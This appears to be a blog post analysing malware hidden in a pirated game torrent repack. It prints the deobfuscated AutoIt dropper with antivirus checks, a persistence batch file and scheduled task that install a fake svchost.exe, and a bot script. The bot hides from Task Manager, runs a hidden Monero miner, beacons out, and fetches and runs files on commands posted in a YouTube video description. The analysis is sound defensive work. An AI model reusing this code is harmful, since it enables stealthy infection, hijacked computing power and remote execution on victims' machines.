Analyzing Torrent Repack Malware Using YouTube as C&C
Never trust a repack…
The torrent I looked at was: The Legend of Zelda: Breath of the Wild CEMU 1.8.0b [Multi-Lang]
by HZolomon.
TL;DR: It is definitely malware. All the torrent by HZolomon appear to have been infected with malware equal/similar to this one.
The torrent (has been reported deleted, HZolomon is not (yet) banned), magnet (and no, I don’t condone piracy, was just interested to see if popular, repacked games are infected).
[MEGA Folder with relevant files] WARNING: THIS CONTAINS ACTIVE MALWARE (in case you didn’t read the title and like executing random files)…
Tooling
I used x64dbg, DbgChild, TitanHide, CFF Explorer, Exe2Aut and VirtualBox.
You have to select the checkboxes in the DbgChild plugin to automatically attach x64dbg to any process started by the executable you’re currently debugging:
From here on I’ll just give a brief description of each analysis step.
setup.exe
- With
innoextract
(innounp
has a similar error):
Stream error while parsing setup headers!
├─ detected setup version: 5.4.2
└─ error reason: basic_ios::clear
If you are sure the setup file is not corrupted, consider
filing a bug report at http://innoextract.constexpr.org/issues
Done with 1 error.
-
Extracts
%temp%\is-[A-Z0-9]{5}.tmp\setup.tmp
(is-K35T2.tmp
in MEGA folder) -
Probably this is: http://forum.ru-board.com/topic.cgi?forum=5&topic=34920&start=0&limit=1&m=1#1 and/or http://krinkels.org/resources/categories/innoultra.29/
setup.tmp
Command line (this is similar to what InnoSetup does from what I know):
"C:\Users\Admin\AppData\Local\Temp\is-RPR25.tmp\setup.tmp" /SL5="$230522,1892858,54272,F:\Users\Admin\Documents\Downloads\The Legend of Zelda - Breath of the Wild\setup.exe"
-
Extracts
%temp%\is-[A-Z0-9]{5}.tmp\ISDone.dll
and some other files (includingunarc.dll
). -
Put a DLL breakpoint on
unarc.dll
in x64dbg. -
Start the installation, which causes more stuff to be extracted to
%temp%\is-[A-Z0-9]{5}.tmp
.
All the extracted files are hidden. You can use attrib -S -H
to unhide them (Windows explorer doesn’t allow you to do uncheck the Hidden
box for some readon).
- Break on
FreeArcExtract
(see my earlier blog post for more details). TL;DR it runsunarc.exe
with the function arguments as command line arguments.
Some of the commands used in FreeArcExtract
:
l -- setup-2.bin
x -o+ -pawdawdawd -wF:\BotW\ -dpF:\BotW\ -- setup-2.bin
- Find
cbArcExtract
atISDone.dll:$1A340
from the first parameter ofFreeArcExtract
, break on thepassword?
action check:
Arc password: awdawdawd
The unarc.dll
uses compression algorithm hooks from facompress.dll
(relevant code) + hooks for CLS-compressors (relevant code, CLS-MSC.dll
, CLS-srep.dll
) so make sure to put those next to unarc.exe
if you want to (safely) extract the files.
- After all the files are extracted it runs
DSETUP.exe
, which at first looked fine, but looking a second time the file is not signed by Microsoft and it has no version information or anything.
DSETUP.exe
This is an AutoIt executable (32 bit), it’s basically the first layer of the dropper. With Exe2Aut I extracted the script (slightly deobfuscated by hand):
If @OSArch = "X64" Then
If FileExists(@ScriptDir & "\Jun2010_XACT_x64.cab") AND FileExists(@ScriptDir & "\dsetup32.dll") AND FileExists(@ScriptDir & "\dxdllreg_x86.cab") AND FileExists(@ScriptDir & "\dxupdate.cab") AND FileExists(@ScriptDir & "\Jun2010_XACT_x86.cab") Then
If _aes() = 0 Then
Else
For $i = 0 To UBound - 1 ; Does nothing
If ProcessExists("avp.exe") OR ProcessExists("avpui.exe") OR ProcessExists("avguix.exe") OR ProcessExists("AVGUI.exe") OR ProcessExists("dwengine.exe") Then
$ainfo = _winapi_getsysteminfo()
$ainfo2 = $ainfo[0]
If $ainfo2 > 4 Then ; wProcessorArchitecture >= PROCESSOR_ARCHITECTURE_ARM (?)
$sinfile = @ScriptDir & "\dxupdate.cab"
$sfind = "00000000001C0004"
$sreplace = "377ABCAF271C0004"
$soutfile = @TempDir & "\CRDebugLog.txt"
_binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
FileChangeDir(@TempDir)
FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
FileChangeDir(@TempDir)
RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
Run("start.bat", "", @SW_HIDE)
EndIf
ElseIf ProcessExists("AvastUI.exe") OR ProcessExists("AvastSvc.exe") Then
$sinfile = @ScriptDir & "\Jun2010_XACT_x64.cab"
$sfind = "00000000001C0004"
$sreplace = "377ABCAF271C0004"
$soutfile = @TempDir & "\CRDebugLog.txt"
_binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
FileChangeDir(@TempDir)
FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
FileChangeDir(@TempDir)
RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
Run("start.bat", "", @SW_HIDE)
ElseIf ProcessExists("egui.exe") OR ProcessExists("ekrn.exe") Then
$sinfile = @ScriptDir & "\dsetup32.dll"
$sfind = "00000000001C0004"
$sreplace = "377ABCAF271C0004"
$soutfile = @TempDir & "\CRDebugLog.txt"
_binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
FileChangeDir(@TempDir)
FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
FileChangeDir(@TempDir)
RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
Run("start.bat", "", @SW_HIDE)
ElseIf ProcessExists("MBAMService.exe") Then
$sinfile = @ScriptDir & "\Jun2010_XACT_x86.cab"
$sfind = "00000000001C0004"
$sreplace = "377ABCAF271C0004"
$soutfile = @TempDir & "\CRDebugLog.txt"
_binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
FileChangeDir(@TempDir)
FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
FileChangeDir(@TempDir)
RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
Run("start.bat", "", @SW_HIDE)
Else
$sinfile = @ScriptDir & "\dxdllreg_x86.cab"
$sfind = "00000000001C0004"
$sreplace = "377ABCAF271C0004"
$soutfile = @TempDir & "\CRDebugLog.txt"
_binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
FileChangeDir(@TempDir)
FileInstall("CLDe2bugLog.txt", @TempDir & "\CLDe2bugLog.txt")
FileChangeDir(@TempDir)
RunWait('CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt', "", @SW_HIDE)
Run("start.bat", "", @SW_HIDE)
EndIf
Next
EndIf
Else
EndIf
Else
EndIf
Func _binaryreplace($sinfile, $sfind, $sreplace, $soutfile)
Local $fo, $fr
$fo = FileOpen($sinfile, 16)
$fr = FileRead($fo)
FileClose($fo)
$fr = StringReplace($fr, $sfind, $sreplace, 1)
$fo = FileOpen($soutfile, 18)
FileWrite($fo, $fr)
FileClose($fo)
EndFunc
Func _aes()
$struct = DllStructCreate("int eax; int ebx; int ecx; int edx")
$strcode = "0x515352518B7C24148B4424180FA28907895F04894F0889570C595A5B5831C0C20800"
$tbindata = DllStructCreate("byte[" & BinaryLen($strcode) & "]")
DllStructSetData($tbindata, 1, $strcode)
DllCallAddress("none", DllStructGetPtr($tbindata), "ptr", DllStructGetPtr($struct), "int", 1)
$aes = (BitAND(DllStructGetData($struct, 3), 33554432))
Return $aes
EndFunc
It tries to identify your anti-virus and based on that drops CLDe2bugLog.txt
in your temp directory with the FileInstall
function. It then replaces the bytes 00000000001C0004
with 377ABCAF271C0004
(7z header) and extracts it with the following command:
CLDe2bugLog.txt e -p"DQMDDMNBQ3824Nnd2nd8812@2*$(#!&NDQB2" CRDebugLog.txt
The contents of CRDebugLog.txt
, but the malware inside does pretty much the same thing. I (unfortunately) looked at the contents of dxdllreg_x86
:
64.exe
SystemCheck.xml
start.bat
start.bat
attrib -h -r -s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
copy /y "64.exe" "%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe"
attrib +h +r +s /S /D %userprofile%\AppData\Roaming\Microsoft\Windows\\svchost.exe
schtasks.exe /Create /XML "SystemCheck.xml" /TN "System\SystemCheck"
del 64.exe /f
del SystemCheck.xml /f
del CRDebugLog.txt /f
del CLDebugLog.txt /f
del "%0"
This copies the file to %userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe
, which made it clear that this is indeed a malicious file. It then goes on to create a scheduled task with SystemCheck.xml
.
SystemCheck.xml
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<Description>Starts a system diagnostics application to scan for errors and performance problems.</Description>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<Repetition>
<Interval>PT1M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2017-01-01T00:00:00</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<TimeTrigger>
<Repetition>
<Interval>PT1M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>2017-01-01T00:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>true</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>%userprofile%\AppData\Roaming\Microsoft\Windows\svchost.exe</Command>
<Arguments>-WindowsCheck</Arguments>
</Exec>
</Actions>
</Task>
This executes the newly-created svchost.exe
with the -WindowsCheck
command line every X amount of time (probably days, not really worth exploring in this case).
64.exe (svchost.exe)
This file is packed with Enigma x64. TitanHide works fine for debugging Enigma (ScyllaHide has issues). The original entry point (OEP) is at 64.exe:$3059C
. It has stolen bytes, but they are easy to retrieve:
48 83 EC 28 E8 BF B3 00 00 48 83 C4 28 E9 36 FE FF FF
EDIT: I have been asked on reddit to give more details about the “stolen bytes” mentioned here. Before I could answer user izizizizizizi gave a nice explanation:
“Stolen bytes” (is there any non-colloquial name for this I wonder) is a feature of many packers/protectors which prevents easy dumping. During the protection process, a part of the original executable code gets removed and stored in the protector stub. When it’s about to be executed there’s a redirection to the protector’s code instead of the original function. The stub either writes original code in some dynamic buffer and executes it or an obfuscated version of the original function is executed.
To get them I created my own Hello World
-style AutoIt executable and pasted the entry point.
After the ‘unpacking’ enigma, I extracted the SCRIPT
resource and put it in a Hello World
AutoIt executable (32 bit), I then used Exe2Aut.exe
to get the AutoIt script source code (irrelevant parts omitted):
If $cmdline[0] > 0 Then
Select
Case $cmdline[1] = "-WindowsCheck"
AdlibRegister("bot", 10 * 60 * 1000)
$botcheck = "https://www.youtube.com/watch?v=RmCcqoC-Oms"
AdlibRegister("logger", 5 * 60 * 1000)
If WinExists("SystemHer") Then
Exit
EndIf
GUICreate("SystemHer")
While Sleep(250)
Global $aprocess[] = ["taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "procexp64.exe", "perfmon.exe"]
For $k = 0 To UBound($aprocess) - 1
If ProcessExists($aprocess[$k]) Then
$kpids = ProcessList()
For $q = 1 To $kpids[0][0]
$kreg = StringRegExp($kpids[$q][0], "attrib.exe", 3)
If $kreg <> 1 Then
If ProcessExists($kpids[$q][1]) Then ProcessClose($kpids[$q][1])
Exit
EndIf
Next
EndIf
Next
If $k = UBound($aprocess) Then
$plist = ProcessList()
For $i = 1 To $plist[0][0]
$preg = StringRegExp($plist[$i][0], "attrib.exe", 3)
If $preg <> 1 Then
If ProcessExists($plist[$i][1]) Then ExitLoop
EndIf
Next
If $i = UBound($plist) Then
$ainfo = _winapi_getsysteminfo()
$threads = "-t " & $ainfo[5] / 2
If $threads = "-t 1.5" Then
$threads = "-t 1"
EndIf
FileChangeDir(@ScriptDir)
Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)
EndIf
EndIf
WEnd
EndSelect
EndIf
Func logger()
If FileExists(@ScriptDir & "\system.ini") Then
Else
FileWrite(@ScriptDir & "\system.ini", "")
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
$surl = "http://ezstat.ru/1OzYt"
$ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
$ohttp.open("GET", $surl, False)
$ohttp.send("")
$ohttp.waitforresponse
$shtml = $ohttp.responsetext
EndIf
EndFunc
Func bot()
$ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
$ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
$ohttp.send("") #
$ohttp.waitforresponse
$shtml = $ohttp.responsetext
$aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
$out = $aecu[0]
If StringRegExp($out, "_download", 0) = 1 Then
If StringRegExp($out, 'href="(.*?)"', 0) = 1 Then
$download = StringRegExp($out, 'href="(.*?)"', 1)
$urldownload = $download[0]
FileChangeDir(@ScriptDir)
$dread = FileRead(@ScriptDir & "\system.ini")
If StringRegExp($dread, $urldownload, 0) = 0 Then
FileChangeDir(@ScriptDir)
$ddownload = InetGet($urldownload, @ScriptDir & "\2mdw4.temp", 1, 1)
Do
Sleep(1000)
Until InetGetInfo($ddownload, 2)
InetClose($ddownload)
Sleep(1000 * 10)
FileChangeDir(@ScriptDir)
FileDelete(@ScriptDir & "\2mdw4.temp")
Sleep(1000 * 2)
FileSetAttrib(@ScriptDir & "\2mdw4", "+SH")
$dfile = FileOpen(@ScriptDir & "\system.ini", 1)
FileWrite(@ScriptDir & "\system.ini", $urldownload & @CRLF)
FileClose($dfile)
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
EndIf
FileClose($dread)
EndIf
ElseIf StringRegExp($out, "_run", 0) = 1 Then
If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
$run = StringRegExp($out, 'href="(.*?)"', 1)
$urlrun = $run[0]
FileChangeDir(@ScriptDir)
$rread = FileRead(@ScriptDir & "\system.ini")
If StringRegExp($rread, $urlrun, 0) = 0 Then
FileChangeDir(@ScriptDir)
$rdownload = InetGet($urlrun, @ScriptDir & "\run.exe", 1, 1)
Do
Sleep(1000)
Until InetGetInfo($rdownload, 2)
InetClose($rdownload)
Sleep(1000 * 5)
FileChangeDir(@ScriptDir)
FileSetAttrib(@ScriptDir & "\run.exe", "+SH")
Sleep(1000 * 2)
Run(@ScriptDir & "\run.exe", "", @SW_HIDE)
$rfile = FileOpen(@ScriptDir & "\system.ini", 1)
FileWrite(@ScriptDir & "\system.ini", $urlrun & @CRLF)
FileClose($rfile)
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
EndIf
FileClose($rread)
EndIf
ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
$rdel = StringRegExp($out, 'href="(.*?)"', 1)
$urlrdel = $rdel[0]
FileChangeDir(@ScriptDir)
$rdread = FileRead(@ScriptDir & "\system.ini")
If StringRegExp($rdread, $urlrdel, 0) = 0 Then
FileChangeDir(@ScriptDir)
$rddownload = InetGet($urlrdel, @ScriptDir & "\rdel.exe", 1, 1)
Do
Sleep(1000)
Until InetGetInfo($rddownload, 2)
InetClose($rddownload)
Sleep(1000 * 5)
FileChangeDir(@ScriptDir)
Run(@ScriptDir & "\rdel.exe", "", @SW_HIDE)
Sleep(1000 * 20)
FileChangeDir(@ScriptDir)
FileDelete(@ScriptDir & "\rdel.exe")
Sleep(1000 * 2)
FileSetAttrib(@ScriptDir & "\rdel.exe", "+SH")
$rdfile = FileOpen(@ScriptDir & "\system.ini", 1)
FileWrite(@ScriptDir & "\system.ini", $urlrdel & @CRLF)
FileClose($rdfile)
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
EndIf
FileClose($rdread)
EndIf
ElseIf StringRegExp($out, "_delete", 0) = 1 Then
FileChangeDir(@ScriptDir)
FileSetAttrib(@ScriptDir & "\rdel.exe", "-RSH")
FileDelete(@ScriptDir & "\rdel.exe")
FileSetAttrib(@ScriptDir & "\up1date.exe", "-RSH")
FileDelete(@ScriptDir & "\up1date.exe")
FileSetAttrib(@ScriptDir & "\run.exe", "-RSH")
FileDelete(@ScriptDir & "\run.exe")
FileSetAttrib(@ScriptDir & "\2mdw4.temp", "-RSH")
FileDelete(@ScriptDir & "\2mdw4.temp")
FileSetAttrib(@ScriptDir & "\system.ini", "-RSH")
FileDelete(@ScriptDir & "\system.ini")
FileWrite(@ScriptDir & "\system.ini", "")
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
ElseIf StringRegExp($out, "_update", 0) = 1 Then
If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
$update = StringRegExp($out, 'href="(.*?)"', 1)
$urlupdate = $update[0]
FileChangeDir(@ScriptDir)
$uread = FileRead(@ScriptDir & "\system.ini")
If StringRegExp($uread, $urlupdate, 0) = 0 Then
FileChangeDir(@ScriptDir)
FileSetAttrib(@ScriptDir & "\svchost.exe", "-RSH")
$udownload = InetGet($urlupdate, @ScriptDir & "\up1date.exe", 1, 1)
Do
Sleep(1000)
Until InetGetInfo($udownload, 2)
InetClose($udownload)
Sleep(1000 * 5)
FileChangeDir(@ScriptDir)
FileSetAttrib(@ScriptDir & "\up1date.exe", "+SH")
Sleep(1000 * 2)
$ufile = FileOpen(@ScriptDir & "\system.ini", 1)
FileWrite(@ScriptDir & "\system.ini", $urlupdate & @CRLF)
FileClose($ufile)
FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
Run(@ScriptDir & "\up1date.exe", "", @SW_HIDE)
Exit
EndIf
FileClose($uread)
EndIf
EndIf
EndFunc
The interesting part is the bot()
function:
$ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
$ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
$ohttp.send("") #
$ohttp.waitforresponse
$shtml = $ohttp.responsetext
$aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
$out = $aecu[0]
If StringRegExp($out, "_download", 0) = 1 Then
; download logic
ElseIf StringRegExp($out, "_run", 0) = 1 Then
; run logic
ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
; rdel logic
ElseIf StringRegExp($out, "_delete", 0) = 1 Then
; delete logic
ElseIf StringRegExp($out, "_update", 0) = 1 Then
; update logic
It uses a YouTube video (reported, but please report again) as a command and control mechanism. If the description contains one of the _download
, _run
, etc. command it will perform certain actions based on the data in the description (such as downloading a file or updating to a newer version).
It also appears to run some kind of crypto currency miner, although I couldn’t find the SystemCheck
executable:
Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)
Well, that has been all for today. It has certainly been fun reversing malware for a change!
“Heb ik dat nou al gezouten?”
blog comments powered by Disqus